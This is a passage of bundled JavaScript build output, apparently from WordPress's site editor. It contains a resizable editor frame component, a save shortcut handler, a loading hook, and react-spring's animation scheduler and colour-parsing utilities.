2884 onClick: () => openCommandCenter(),
2885 label: (0, import_i18n3.__)("Open command palette"),
2886 shortcut: import_keycodes.displayShortcut.primary("k")
2887 }
2888 )
2889 }
2890 )
2891 ] })
2892 ] }) });
2893 })
2894 );
2895
2896 // packages/edit-site/build-module/components/resizable-frame/index.mjs
2897 var import_element8 = __toESM(require_element(), 1);
2898 var import_components4 = __toESM(require_components(), 1);
2899 var import_compose = __toESM(require_compose(), 1);
2900 var import_i18n4 = __toESM(require_i18n(), 1);
2901 var import_router2 = __toESM(require_router(), 1);
2902 var import_data6 = __toESM(require_data(), 1);
2903 var import_core_data5 = __toESM(require_core_data(), 1);
2904 var import_url2 = __toESM(require_url(), 1);
2905 var import_jsx_runtime73 = __toESM(require_jsx_runtime(), 1);
2906 var { useLocation: useLocation2, useHistory: useHistory2 } = unlock(import_router2.privateApis);
2907 var HANDLE_STYLES_OVERRIDE = {
2908 position: void 0,
2909 userSelect: void 0,
2910 cursor: void 0,
2911 width: void 0,
2912 height: void 0,
2913 top: void 0,
2914 right: void 0,
2915 bottom: void 0,
2916 left: void 0
2917 };
2918 var FRAME_MIN_WIDTH = 320;
2919 var FRAME_REFERENCE_WIDTH = 1300;
2920 var FRAME_TARGET_ASPECT_RATIO = 9 / 19.5;
2921 var SNAP_TO_EDIT_CANVAS_MODE_THRESHOLD = 200;
2922 var INITIAL_FRAME_SIZE = { width: "100%", height: "100%" };
2923 function calculateNewHeight(width, initialAspectRatio) {
2924 const lerp = (a2, b2, amount) => {
2925 return a2 + (b2 - a2) * amount;
2926 };
2927 const lerpFactor = 1 - Math.max(
2928 0,
2929 Math.min(
2930 1,
2931 (width - FRAME_MIN_WIDTH) / (FRAME_REFERENCE_WIDTH - FRAME_MIN_WIDTH)
2932 )
2933 );
2934 const intermediateAspectRatio = lerp(
2935 initialAspectRatio,
2936 FRAME_TARGET_ASPECT_RATIO,
2937 lerpFactor
2938 );
2939 return width / intermediateAspectRatio;
2940 }
2941 function ResizableFrame({
2942 isFullWidth,
2943 isOversized,
2944 setIsOversized,
2945 isReady,
2946 children,
2947 /** The default (unresized) width/height of the frame, based on the space available in the viewport. */
2948 defaultSize,
2949 innerContentStyle
2950 }) {
2951 const history = useHistory2();
2952 const { path, query } = useLocation2();
2953 const { canvas = "view" } = query;
2954 const disableMotion = (0, import_compose.useReducedMotion)();
2955 const [frameSize, setFrameSize] = (0, import_element8.useState)(INITIAL_FRAME_SIZE);
2956 const [startingWidth, setStartingWidth] = (0, import_element8.useState)();
2957 const [isResizing, setIsResizing] = (0, import_element8.useState)(false);
2958 const [shouldShowHandle, setShouldShowHandle] = (0, import_element8.useState)(false);
2959 const [resizeRatio, setResizeRatio] = (0, import_element8.useState)(1);
2960 const FRAME_TRANSITION = { type: "tween", duration: isResizing ? 0 : 0.5 };
2961 const frameRef = (0, import_element8.useRef)(null);
2962 const resizableHandleHelpId = (0, import_compose.useInstanceId)(
2963 ResizableFrame,
2964 "edit-site-resizable-frame-handle-help"
2965 );
2966 const defaultAspectRatio = defaultSize.width / defaultSize.height;
2967 const isBlockTheme = (0, import_data6.useSelect)((select3) => {
2968 const { getCurrentTheme } = select3(import_core_data5.store);
2969 return getCurrentTheme()?.is_block_theme;
2970 }, []);
2971 const handleResizeStart = (_event, _direction, ref) => {
2972 setStartingWidth(ref.offsetWidth);
2973 setIsResizing(true);
2974 };
2975 const handleResize = (_event, _direction, _ref, delta) => {
2976 const normalizedDelta = delta.width / resizeRatio;
2977 const deltaAbs = Math.abs(normalizedDelta);
2978 const maxDoubledDelta = delta.width < 0 ? deltaAbs : (defaultSize.width - startingWidth) / 2;
2979 const deltaToDouble = Math.min(deltaAbs, maxDoubledDelta);
2980 const doubleSegment = deltaAbs === 0 ? 0 : deltaToDouble / deltaAbs;
2981 const singleSegment = 1 - doubleSegment;
2982 setResizeRatio(singleSegment + doubleSegment * 2);
2983 const updatedWidth = startingWidth + delta.width;
2984 setIsOversized(updatedWidth > defaultSize.width);
2985 setFrameSize({
2986 height: isOversized ? "100%" : calculateNewHeight(updatedWidth, defaultAspectRatio)
2987 });
2988 };
2989 const handleResizeStop = (_event, _direction, ref) => {
2990 setIsResizing(false);
2991 if (!isOversized) {
2992 return;
2993 }
2994 setIsOversized(false);
2995 const remainingWidth = ref.ownerDocument.documentElement.offsetWidth - ref.offsetWidth;
2996 if (remainingWidth > SNAP_TO_EDIT_CANVAS_MODE_THRESHOLD || !isBlockTheme) {
2997 setFrameSize(INITIAL_FRAME_SIZE);
2998 } else {
2999 history.navigate(
3000 (0, import_url2.addQueryArgs)(path, {
3001 canvas: "edit"
3002 }),
3003 {
3004 transition: "canvas-mode-edit-transition"
3005 }
3006 );
3007 }
3008 };
3009 const handleResizableHandleKeyDown = (event) => {
3010 if (!["ArrowLeft", "ArrowRight"].includes(event.key)) {
3011 return;
3012 }
3013 event.preventDefault();
3014 const step = 20 * (event.shiftKey ? 5 : 1);
3015 const delta = step * (event.key === "ArrowLeft" ? 1 : -1) * ((0, import_i18n4.isRTL)() ? -1 : 1);
3016 const newWidth = Math.min(
3017 Math.max(
3018 FRAME_MIN_WIDTH,
3019 frameRef.current.resizable.offsetWidth + delta
3020 ),
3021 defaultSize.width
3022 );
3023 setFrameSize({
3024 width: newWidth,
3025 height: calculateNewHeight(newWidth, defaultAspectRatio)
3026 });
3027 };
3028 const frameAnimationVariants = {
3029 default: {
3030 flexGrow: 0,
3031 height: frameSize.height
3032 },
3033 fullWidth: {
3034 flexGrow: 1,
3035 height: frameSize.height
3036 }
3037 };
3038 const resizeHandleVariants = {
3039 hidden: {
3040 opacity: 0,
3041 ...(0, import_i18n4.isRTL)() ? { right: 0 } : { left: 0 }
3042 },
3043 visible: {
3044 opacity: 1,
3045 // Account for the handle's width.
3046 ...(0, import_i18n4.isRTL)() ? { right: -14 } : { left: -14 }
3047 },
3048 active: {
3049 opacity: 1,
3050 // Account for the handle's width.
3051 ...(0, import_i18n4.isRTL)() ? { right: -14 } : { left: -14 },
3052 scaleY: 1.3
3053 }
3054 };
3055 const currentResizeHandleVariant = (() => {
3056 if (isResizing) {
3057 return "active";
3058 }
3059 return shouldShowHandle ? "visible" : "hidden";
3060 })();
3061 return /* @__PURE__ */ (0, import_jsx_runtime73.jsx)(
3062 import_components4.ResizableBox,
3063 {
3064 as: import_components4.__unstableMotion.div,
3065 ref: frameRef,
3066 initial: false,
3067 variants: frameAnimationVariants,
3068 animate: isFullWidth ? "fullWidth" : "default",
3069 onAnimationComplete: (definition) => {
3070 if (definition === "fullWidth") {
3071 setFrameSize({ width: "100%", height: "100%" });
3072 }
3073 },
3074 whileHover: canvas === "view" && isBlockTheme ? {
3075 scale: 1.005,
3076 transition: {
3077 duration: disableMotion ? 0 : 0.5,
3078 ease: "easeOut"
3079 }
3080 } : {},
3081 transition: FRAME_TRANSITION,
3082 size: frameSize,
3083 enable: {
3084 top: false,
3085 bottom: false,
3086 // Resizing will be disabled until the editor content is loaded.
3087 ...(0, import_i18n4.isRTL)() ? { right: isReady, left: false } : { left: isReady, right: false },
3088 topRight: false,
3089 bottomRight: false,
3090 bottomLeft: false,
3091 topLeft: false
3092 },
3093 resizeRatio,
3094 handleClasses: void 0,
3095 handleStyles: {
3096 left: HANDLE_STYLES_OVERRIDE,
3097 right: HANDLE_STYLES_OVERRIDE
3098 },
3099 minWidth: FRAME_MIN_WIDTH,
3100 maxWidth: isFullWidth ? "100%" : "150%",
3101 maxHeight: "100%",
3102 onFocus: () => setShouldShowHandle(true),
3103 onBlur: () => setShouldShowHandle(false),
3104 onMouseOver: () => setShouldShowHandle(true),
3105 onMouseOut: () => setShouldShowHandle(false),
3106 handleComponent: {
3107 [(0, import_i18n4.isRTL)() ? "right" : "left"]: canvas === "view" && /* @__PURE__ */ (0, import_jsx_runtime73.jsxs)(import_jsx_runtime73.Fragment, { children: [
3108 /* @__PURE__ */ (0, import_jsx_runtime73.jsx)(import_components4.Tooltip, { text: (0, import_i18n4.__)("Drag to resize"), children: /* @__PURE__ */ (0, import_jsx_runtime73.jsx)(
3109 import_components4.__unstableMotion.button,
3110 {
3111 role: "separator",
3112 "aria-orientation": "vertical",
3113 className: clsx_default(
3114 "edit-site-resizable-frame__handle",
3115 { "is-resizing": isResizing }
3116 ),
3117 variants: resizeHandleVariants,
3118 animate: currentResizeHandleVariant,
3119 "aria-label": (0, import_i18n4.__)("Drag to resize"),
3120 "aria-describedby": resizableHandleHelpId,
3121 "aria-valuenow": frameRef.current?.resizable?.offsetWidth || void 0,
3122 "aria-valuemin": FRAME_MIN_WIDTH,
3123 "aria-valuemax": defaultSize.width,
3124 onKeyDown: handleResizableHandleKeyDown,
3125 initial: "hidden",
3126 exit: "hidden",
3127 whileFocus: "active",
3128 whileHover: "active"
3129 },
3130 "handle"
3131 ) }),
3132 /* @__PURE__ */ (0, import_jsx_runtime73.jsx)("div", { hidden: true, id: resizableHandleHelpId, children: (0, import_i18n4.__)(
3133 "Use left and right arrow keys to resize the canvas. Hold shift to resize in larger increments."
3134 ) })
3135 ] })
3136 },
3137 onResizeStart: handleResizeStart,
3138 onResize: handleResize,
3139 onResizeStop: handleResizeStop,
3140 className: clsx_default("edit-site-resizable-frame__inner", {
3141 "is-resizing": isResizing
3142 }),
3143 showHandle: false,
3144 children: /* @__PURE__ */ (0, import_jsx_runtime73.jsx)(
3145 "div",
3146 {
3147 className: "edit-site-resizable-frame__inner-content",
3148 style: innerContentStyle,
3149 children
3150 }
3151 )
3152 }
3153 );
3154 }
3155 var resizable_frame_default = ResizableFrame;
3156
3157 // packages/edit-site/build-module/components/save-keyboard-shortcut/index.mjs
3158 var import_element9 = __toESM(require_element(), 1);
3159 var import_keyboard_shortcuts = __toESM(require_keyboard_shortcuts(), 1);
3160 var import_i18n5 = __toESM(require_i18n(), 1);
3161 var import_data7 = __toESM(require_data(), 1);
3162 var import_core_data6 = __toESM(require_core_data(), 1);
3163 var import_editor3 = __toESM(require_editor(), 1);
3164 var shortcutName = "core/edit-site/save";
3165 function SaveKeyboardShortcut() {
3166 const { __experimentalGetDirtyEntityRecords, isSavingEntityRecord } = (0, import_data7.useSelect)(import_core_data6.store);
3167 const { hasNonPostEntityChanges, isPostSavingLocked } = (0, import_data7.useSelect)(import_editor3.store);
3168 const { savePost } = (0, import_data7.useDispatch)(import_editor3.store);
3169 const { setIsSaveViewOpened: setIsSaveViewOpened2 } = (0, import_data7.useDispatch)(store);
3170 const { registerShortcut, unregisterShortcut } = (0, import_data7.useDispatch)(
3171 import_keyboard_shortcuts.store
3172 );
3173 (0, import_element9.useEffect)(() => {
3174 registerShortcut({
3175 name: shortcutName,
3176 category: "global",
3177 description: (0, import_i18n5.__)("Save your changes."),
3178 keyCombination: {
3179 modifier: "primary",
3180 character: "s"
3181 }
3182 });
3183 return () => {
3184 unregisterShortcut(shortcutName);
3185 };
3186 }, [registerShortcut, unregisterShortcut]);
3187 (0, import_keyboard_shortcuts.useShortcut)("core/edit-site/save", (event) => {
3188 event.preventDefault();
3189 const dirtyEntityRecords = __experimentalGetDirtyEntityRecords();
3190 const hasDirtyEntities = !!dirtyEntityRecords.length;
3191 const isSaving = dirtyEntityRecords.some(
3192 (record) => isSavingEntityRecord(record.kind, record.name, record.key)
3193 );
3194 if (!hasDirtyEntities || isSaving) {
3195 return;
3196 }
3197 if (hasNonPostEntityChanges()) {
3198 setIsSaveViewOpened2(true);
3199 } else if (!isPostSavingLocked()) {
3200 savePost();
3201 }
3202 });
3203 return null;
3204 }
3205
3206 // packages/edit-site/build-module/components/layout/hooks.mjs
3207 var import_element10 = __toESM(require_element(), 1);
3208 var import_data8 = __toESM(require_data(), 1);
3209 var import_core_data7 = __toESM(require_core_data(), 1);
3210 var MAX_LOADING_TIME = 1e4;
3211 function useIsSiteEditorLoading() {
3212 const [loaded, setLoaded] = (0, import_element10.useState)(false);
3213 const inLoadingPause = (0, import_data8.useSelect)(
3214 (select3) => {
3215 const hasResolvingSelectors = select3(import_core_data7.store).hasResolvingSelectors();
3216 return !loaded && !hasResolvingSelectors;
3217 },
3218 [loaded]
3219 );
3220 (0, import_element10.useEffect)(() => {
3221 let timeout;
3222 if (!loaded) {
3223 timeout = setTimeout(() => {
3224 setLoaded(true);
3225 }, MAX_LOADING_TIME);
3226 }
3227 return () => {
3228 clearTimeout(timeout);
3229 };
3230 }, [loaded]);
3231 (0, import_element10.useEffect)(() => {
3232 if (inLoadingPause) {
3233 const ARTIFICIAL_DELAY = 100;
3234 const timeout = setTimeout(() => {
3235 setLoaded(true);
3236 }, ARTIFICIAL_DELAY);
3237 return () => {
3238 clearTimeout(timeout);
3239 };
3240 }
3241 }, [inLoadingPause]);
3242 return !loaded;
3243 }
3244
3245 // node_modules/@react-spring/rafz/dist/react-spring-rafz.esm.js
3246 var updateQueue = makeQueue();
3247 var raf = (fn) => schedule(fn, updateQueue);
3248 var writeQueue = makeQueue();
3249 raf.write = (fn) => schedule(fn, writeQueue);
3250 var onStartQueue = makeQueue();
3251 raf.onStart = (fn) => schedule(fn, onStartQueue);
3252 var onFrameQueue = makeQueue();
3253 raf.onFrame = (fn) => schedule(fn, onFrameQueue);
3254 var onFinishQueue = makeQueue();
3255 raf.onFinish = (fn) => schedule(fn, onFinishQueue);
3256 var timeouts = [];
3257 raf.setTimeout = (handler, ms) => {
3258 let time = raf.now() + ms;
3259 let cancel = () => {
3260 let i2 = timeouts.findIndex((t3) => t3.cancel == cancel);
3261 if (~i2) timeouts.splice(i2, 1);
3262 pendingCount -= ~i2 ? 1 : 0;
3263 };
3264 let timeout = {
3265 time,
3266 handler,
3267 cancel
3268 };
3269 timeouts.splice(findTimeout(time), 0, timeout);
3270 pendingCount += 1;
3271 start();
3272 return timeout;
3273 };
3274 var findTimeout = (time) => ~(~timeouts.findIndex((t3) => t3.time > time) || ~timeouts.length);
3275 raf.cancel = (fn) => {
3276 onStartQueue.delete(fn);
3277 onFrameQueue.delete(fn);
3278 onFinishQueue.delete(fn);
3279 updateQueue.delete(fn);
3280 writeQueue.delete(fn);
3281 };
3282 raf.sync = (fn) => {
3283 sync = true;
3284 raf.batchedUpdates(fn);
3285 sync = false;
3286 };
3287 raf.throttle = (fn) => {
3288 let lastArgs;
3289 function queuedFn() {
3290 try {
3291 fn(...lastArgs);
3292 } finally {
3293 lastArgs = null;
3294 }
3295 }
3296 function throttled(...args) {
3297 lastArgs = args;
3298 raf.onStart(queuedFn);
3299 }
3300 throttled.handler = fn;
3301 throttled.cancel = () => {
3302 onStartQueue.delete(queuedFn);
3303 lastArgs = null;
3304 };
3305 return throttled;
3306 };
3307 var nativeRaf = typeof window != "undefined" ? window.requestAnimationFrame : () => {
3308 };
3309 raf.use = (impl) => nativeRaf = impl;
3310 raf.now = typeof performance != "undefined" ? () => performance.now() : Date.now;
3311 raf.batchedUpdates = (fn) => fn();
3312 raf.catch = console.error;
3313 raf.frameLoop = "always";
3314 raf.advance = () => {
3315 if (raf.frameLoop !== "demand") {
3316 console.warn("Cannot call the manual advancement of rafz whilst frameLoop is not set as demand");
3317 } else {
3318 update2();
3319 }
3320 };
3321 var ts = -1;
3322 var pendingCount = 0;
3323 var sync = false;
3324 function schedule(fn, queue) {
3325 if (sync) {
3326 queue.delete(fn);
3327 fn(0);
3328 } else {
3329 queue.add(fn);
3330 start();
3331 }
3332 }
3333 function start() {
3334 if (ts < 0) {
3335 ts = 0;
3336 if (raf.frameLoop !== "demand") {
3337 nativeRaf(loop);
3338 }
3339 }
3340 }
3341 function stop() {
3342 ts = -1;
3343 }
3344 function loop() {
3345 if (~ts) {
3346 nativeRaf(loop);
3347 raf.batchedUpdates(update2);
3348 }
3349 }
3350 function update2() {
3351 let prevTs = ts;
3352 ts = raf.now();
3353 let count = findTimeout(ts);
3354 if (count) {
3355 eachSafely(timeouts.splice(0, count), (t3) => t3.handler());
3356 pendingCount -= count;
3357 }
3358 if (!pendingCount) {
3359 stop();
3360 return;
3361 }
3362 onStartQueue.flush();
3363 updateQueue.flush(prevTs ? Math.min(64, ts - prevTs) : 16.667);
3364 onFrameQueue.flush();
3365 writeQueue.flush();
3366 onFinishQueue.flush();
3367 }
3368 function makeQueue() {
3369 let next = /* @__PURE__ */ new Set();
3370 let current = next;
3371 return {
3372 add(fn) {
3373 pendingCount += current == next && !next.has(fn) ? 1 : 0;
3374 next.add(fn);
3375 },
3376 delete(fn) {
3377 pendingCount -= current == next && next.has(fn) ? 1 : 0;
3378 return next.delete(fn);
3379 },
3380 flush(arg) {
3381 if (current.size) {
3382 next = /* @__PURE__ */ new Set();
3383 pendingCount -= current.size;
3384 eachSafely(current, (fn) => fn(arg) && next.add(fn));
3385 pendingCount += next.size;
3386 current = next;
3387 }
3388 }
3389 };
3390 }
3391 function eachSafely(values, each2) {
3392 values.forEach((value) => {
3393 try {
3394 each2(value);
3395 } catch (e2) {
3396 raf.catch(e2);
3397 }
3398 });
3399 }
3400
3401 // node_modules/@react-spring/shared/dist/react-spring-shared.esm.js
3402 var import_react4 = __toESM(require_react());
3403 function noop() {
3404 }
3405 var defineHidden = (obj, key, value) => Object.defineProperty(obj, key, {
3406 value,
3407 writable: true,
3408 configurable: true
3409 });
3410 var is = {
3411 arr: Array.isArray,
3412 obj: (a2) => !!a2 && a2.constructor.name === "Object",
3413 fun: (a2) => typeof a2 === "function",
3414 str: (a2) => typeof a2 === "string",
3415 num: (a2) => typeof a2 === "number",
3416 und: (a2) => a2 === void 0
3417 };
3418 function isEqual(a2, b2) {
3419 if (is.arr(a2)) {
3420 if (!is.arr(b2) || a2.length !== b2.length) return false;
3421 for (let i2 = 0; i2 < a2.length; i2++) {
3422 if (a2[i2] !== b2[i2]) return false;
3423 }
3424 return true;
3425 }
3426 return a2 === b2;
3427 }
3428 var each = (obj, fn) => obj.forEach(fn);
3429 function eachProp(obj, fn, ctx9) {
3430 if (is.arr(obj)) {
3431 for (let i2 = 0; i2 < obj.length; i2++) {
3432 fn.call(ctx9, obj[i2], `${i2}`);
3433 }
3434 return;
3435 }
3436 for (const key in obj) {
3437 if (obj.hasOwnProperty(key)) {
3438 fn.call(ctx9, obj[key], key);
3439 }
3440 }
3441 }
3442 var toArray = (a2) => is.und(a2) ? [] : is.arr(a2) ? a2 : [a2];
3443 function flush(queue, iterator) {
3444 if (queue.size) {
3445 const items = Array.from(queue);
3446 queue.clear();
3447 each(items, iterator);
3448 }
3449 }
3450 var flushCalls = (queue, ...args) => flush(queue, (fn) => fn(...args));
3451 var isSSR = () => typeof window === "undefined" || !window.navigator || /ServerSideRendering|^Deno\//.test(window.navigator.userAgent);
3452 var createStringInterpolator$1;
3453 var to;
3454 var colors$1 = null;
3455 var skipAnimation = false;
3456 var willAdvance = noop;
3457 var assign = (globals2) => {
3458 if (globals2.to) to = globals2.to;
3459 if (globals2.now) raf.now = globals2.now;
3460 if (globals2.colors !== void 0) colors$1 = globals2.colors;
3461 if (globals2.skipAnimation != null) skipAnimation = globals2.skipAnimation;
3462 if (globals2.createStringInterpolator) createStringInterpolator$1 = globals2.createStringInterpolator;
3463 if (globals2.requestAnimationFrame) raf.use(globals2.requestAnimationFrame);
3464 if (globals2.batchedUpdates) raf.batchedUpdates = globals2.batchedUpdates;
3465 if (globals2.willAdvance) willAdvance = globals2.willAdvance;
3466 if (globals2.frameLoop) raf.frameLoop = globals2.frameLoop;
3467 };
3468 var globals = /* @__PURE__ */ Object.freeze({
3469 __proto__: null,
3470 get createStringInterpolator() {
3471 return createStringInterpolator$1;
3472 },
3473 get to() {
3474 return to;
3475 },
3476 get colors() {
3477 return colors$1;
3478 },
3479 get skipAnimation() {
3480 return skipAnimation;
3481 },
3482 get willAdvance() {
3483 return willAdvance;
3484 },
3485 assign
3486 });
3487 var startQueue = /* @__PURE__ */ new Set();
3488 var currentFrame = [];
3489 var prevFrame = [];
3490 var priority = 0;
3491 var frameLoop = {
3492 get idle() {
3493 return !startQueue.size && !currentFrame.length;
3494 },
3495 start(animation) {
3496 if (priority > animation.priority) {
3497 startQueue.add(animation);
3498 raf.onStart(flushStartQueue);
3499 } else {
3500 startSafely(animation);
3501 raf(advance);
3502 }
3503 },
3504 advance,
3505 sort(animation) {
3506 if (priority) {
3507 raf.onFrame(() => frameLoop.sort(animation));
3508 } else {
3509 const prevIndex = currentFrame.indexOf(animation);
3510 if (~prevIndex) {
3511 currentFrame.splice(prevIndex, 1);
3512 startUnsafely(animation);
3513 }
3514 }
3515 },
3516 clear() {
3517 currentFrame = [];
3518 startQueue.clear();
3519 }
3520 };
3521 function flushStartQueue() {
3522 startQueue.forEach(startSafely);
3523 startQueue.clear();
3524 raf(advance);
3525 }
3526 function startSafely(animation) {
3527 if (!currentFrame.includes(animation)) startUnsafely(animation);
3528 }
3529 function startUnsafely(animation) {
3530 currentFrame.splice(findIndex(currentFrame, (other) => other.priority > animation.priority), 0, animation);
3531 }
3532 function advance(dt) {
3533 const nextFrame = prevFrame;
3534 for (let i2 = 0; i2 < currentFrame.length; i2++) {
3535 const animation = currentFrame[i2];
3536 priority = animation.priority;
3537 if (!animation.idle) {
3538 willAdvance(animation);
3539 animation.advance(dt);
3540 if (!animation.idle) {
3541 nextFrame.push(animation);
3542 }
3543 }
3544 }
3545 priority = 0;
3546 prevFrame = currentFrame;
3547 prevFrame.length = 0;
3548 currentFrame = nextFrame;
3549 return currentFrame.length > 0;
3550 }
3551 function findIndex(arr, test) {
3552 const index = arr.findIndex(test);
3553 return index < 0 ? arr.length : index;
3554 }
3555 var colors = {
3556 transparent: 0,
3557 aliceblue: 4042850303,
3558 antiquewhite: 4209760255,
3559 aqua: 16777215,
3560 aquamarine: 2147472639,
3561 azure: 4043309055,
3562 beige: 4126530815,
3563 bisque: 4293182719,
3564 black: 255,
3565 blanchedalmond: 4293643775,
3566 blue: 65535,
3567 blueviolet: 2318131967,
3568 brown: 2771004159,
3569 burlywood: 3736635391,
3570 burntsienna: 3934150143,
3571 cadetblue: 1604231423,
3572 chartreuse: 2147418367,
3573 chocolate: 3530104575,
3574 coral: 4286533887,
3575 cornflowerblue: 1687547391,
3576 cornsilk: 4294499583,
3577 crimson: 3692313855,
3578 cyan: 16777215,
3579 darkblue: 35839,
3580 darkcyan: 9145343,
3581 darkgoldenrod: 3095792639,
3582 darkgray: 2846468607,
3583 darkgreen: 6553855,
3584 darkgrey: 2846468607,
3585 darkkhaki: 3182914559,
3586 darkmagenta: 2332068863,
3587 darkolivegreen: 1433087999,
3588 darkorange: 4287365375,
3589 darkorchid: 2570243327,
3590 darkred: 2332033279,
3591 darksalmon: 3918953215,
3592 darkseagreen: 2411499519,
3593 darkslateblue: 1211993087,
3594 darkslategray: 793726975,
3595 darkslategrey: 793726975,
3596 darkturquoise: 13554175,
3597 darkviolet: 2483082239,
3598 deeppink: 4279538687,
3599 deepskyblue: 12582911,
3600 dimgray: 1768516095,
3601 dimgrey: 1768516095,
3602 dodgerblue: 512819199,
3603 firebrick: 2988581631,
3604 floralwhite: 4294635775,
3605 forestgreen: 579543807,
3606 fuchsia: 4278255615,
3607 gainsboro: 3705462015,
3608 ghostwhite: 4177068031,
3609 gold: 4292280575,
3610 goldenrod: 3668254975,
3611 gray: 2155905279,
3612 green: 8388863,
3613 greenyellow: 2919182335,
3614 grey: 2155905279,
3615 honeydew: 4043305215,
3616 hotpink: 4285117695,
3617 indianred: 3445382399,
3618 indigo: 1258324735,
3619 ivory: 4294963455,
3620 khaki: 4041641215,
3621 lavender: 3873897215,
3622 lavenderblush: 4293981695,
3623 lawngreen: 2096890111,
3624 lemonchiffon: 4294626815,
3625 lightblue: 2916673279,
3626 lightcoral: 4034953471,
3627 lightcyan: 3774873599,
3628 lightgoldenrodyellow: 4210742015,
3629 lightgray: 3553874943,
3630 lightgreen: 2431553791,
3631 lightgrey: 3553874943,
3632 lightpink: 4290167295,
3633 lightsalmon: 4288707327,
3634 lightseagreen: 548580095,
3635 lightskyblue: 2278488831,
3636 lightslategray: 2005441023,
3637 lightslategrey: 2005441023,
3638 lightsteelblue: 2965692159,
3639 lightyellow: 4294959359,
3640 lime: 16711935,
3641 limegreen: 852308735,
3642 linen: 4210091775,
3643 magenta: 4278255615,
3644 maroon: 2147483903,
3645 mediumaquamarine: 1724754687,
3646 mediumblue: 52735,
3647 mediumorchid: 3126187007,
3648 mediumpurple: 2473647103,
3649 mediumseagreen: 1018393087,
3650 mediumslateblue: 2070474495,
3651 mediumspringgreen: 16423679,
3652 mediumturquoise: 1221709055,
3653 mediumvioletred: 3340076543,
3654 midnightblue: 421097727,
3655 mintcream: 4127193855,
3656 mistyrose: 4293190143,
3657 moccasin: 4293178879,
3658 navajowhite: 4292783615,
3659 navy: 33023,
3660 oldlace: 4260751103,
3661 olive: 2155872511,
3662 olivedrab: 1804477439,
3663 orange: 4289003775,
3664 orangered: 4282712319,
3665 orchid: 3664828159,
3666 palegoldenrod: 4008225535,
3667 palegreen: 2566625535,
3668 paleturquoise: 2951671551,
3669 palevioletred: 3681588223,
3670 papayawhip: 4293907967,
3671 peachpuff: 4292524543,
3672 peru: 3448061951,
3673 pink: 4290825215,
3674 plum: 3718307327,
3675 powderblue: 2967529215,
3676 purple: 2147516671,
3677 rebeccapurple: 1714657791,
3678 red: 4278190335,
3679 rosybrown: 3163525119,
3680 royalblue: 1097458175,
3681 saddlebrown: 2336560127,
3682 salmon: 4202722047,
3683 sandybrown: 4104413439,
3684 seagreen: 780883967,
3685 seashell: 4294307583,
3686 sienna: 2689740287,
3687 silver: 3233857791,
3688 skyblue: 2278484991,
3689 slateblue: 1784335871,
3690 slategray: 1887473919,
3691 slategrey: 1887473919,
3692 snow: 4294638335,
3693 springgreen: 16744447,
3694 steelblue: 1182971135,
3695 tan: 3535047935,
3696 teal: 8421631,
3697 thistle: 3636451583,
3698 tomato: 4284696575,
3699 turquoise: 1088475391,
3700 violet: 4001558271,
3701 wheat: 4125012991,
3702 white: 4294967295,
3703 whitesmoke: 4126537215,
3704 yellow: 4294902015,
3705 yellowgreen: 2597139199
3706 };
3707 var NUMBER = "[-+]?\\d*\\.?\\d+";
3708 var PERCENTAGE = NUMBER + "%";
3709 function call(...parts) {
3710 return "\\(\\s*(" + parts.join(")\\s*,\\s*(") + ")\\s*\\)";
3711 }
3712 var rgb = new RegExp("rgb" + call(NUMBER, NUMBER, NUMBER));
3713 var rgba = new RegExp("rgba" + call(NUMBER, NUMBER, NUMBER, NUMBER));
3714 var hsl = new RegExp("hsl" + call(NUMBER, PERCENTAGE, PERCENTAGE));
3715 var hsla = new RegExp("hsla" + call(NUMBER, PERCENTAGE, PERCENTAGE, NUMBER));
3716 var hex3 = /^#([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/;
3717 var hex4 = /^#([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/;
3718 var hex6 = /^#([0-9a-fA-F]{6})$/;
3719 var hex8 = /^#([0-9a-fA-F]{8})$/;
3720 function normalizeColor(color) {
3721 let match3;
3722 if (typeof color === "number") {
3723 return color >>> 0 === color && color >= 0 && color <= 4294967295 ? color : null;
3724 }
3725 if (match3 = hex6.exec(color)) return parseInt(match3[1] + "ff", 16) >>> 0;
3726 if (colors$1 && colors$1[color] !== void 0) {
3727 return colors$1[color];
3728 }
3729 if (match3 = rgb.exec(color)) {
3730 return (parse255(match3[1]) << 24 | parse255(match3[2]) << 16 | parse255(match3[3]) << 8 | 255) >>> 0;
3731 }
3732 if (match3 = rgba.exec(color)) {
3733 return (parse255(match3[1]) << 24 | parse255(match3[2]) << 16 | parse255(match3[3]) << 8 | parse1(match3[4])) >>> 0;
3734 }
3735 if (match3 = hex3.exec(color)) {
3736 return parseInt(match3[1] + match3[1] + match3[2] + match3[2] + match3[3] + match3[3] + "ff", 16) >>> 0;
3737 }
3738 if (match3 = hex8.exec(color)) return parseInt(match3[1], 16) >>> 0;
3739 if (match3 = hex4.exec(color)) {
3740 return parseInt(match3[1] + match3[1] + match3[2] + match3[2] + match3[3] + match3[3] + match3[4] + match3[4], 16) >>> 0;
3741 }
3742 if (match3 = hsl.exec(color)) {
3743 return (hslToRgb(parse360(match3[1]), parsePercentage(match3[2]), parsePercentage(match3[3])) | 255) >>> 0;
3744 }
3745 if (match3 = hsla.exec(color)) {
3746 return (hslToRgb(parse360(match3[1]), parsePercentage(match3[2]), parsePercentage(match3[3])) | parse1(match3[4])) >>> 0;
3747 }
3748 return null;
3749 }
3750 function hue2rgb(p3, q, t3) {
3751 if (t3 < 0) t3 += 1;
3752 if (t3 > 1) t3 -= 1;
3753 if (t3 < 1 / 6) return p3 + (q - p3) * 6 * t3;
3754 if (t3 < 1 / 2) return q;
3755 if (t3 < 2 / 3) return p3 + (q - p3) * (2 / 3 - t3) * 6;
3756 return p3;
3757 }
3758 function hslToRgb(h2, s2, l2) {
3759 const q = l2 < 0.5 ? l2 * (1 + s2) : l2 + s2 - l2 * s2;
3760 const p3 = 2 * l2 - q;
3761 const r3 = hue2rgb(p3, q, h2 + 1 / 3);
3762 const g2 = hue2rgb(p3, q, h2);
3763 const b2 = hue2rgb(p3, q, h2 - 1 / 3);
3764 return Math.round(r3 * 255) << 24 | Math.round(g2 * 255) << 16 | Math.round(b2 * 255) << 8;
3765 }
3766 function parse255(str) {
3767 const int = parseInt(str, 10);
3768 if (int < 0) return 0;
3769 if (int > 255) return 255;
3770 return int;
3771 }
3772 function parse360(str) {
3773 const int = parseFloat(str);
3774 return (int % 360 + 360) % 360 / 360;
3775 }
3776 function parse1(str) {
3777 const num = parseFloat(str);
3778 if (num < 0) return 0;
3779 if (num > 1) return 255;
3780 return Math.round(num * 255);
3781 }
3782 function parsePercentage(str) {
3783 const int = parseFloat(str);
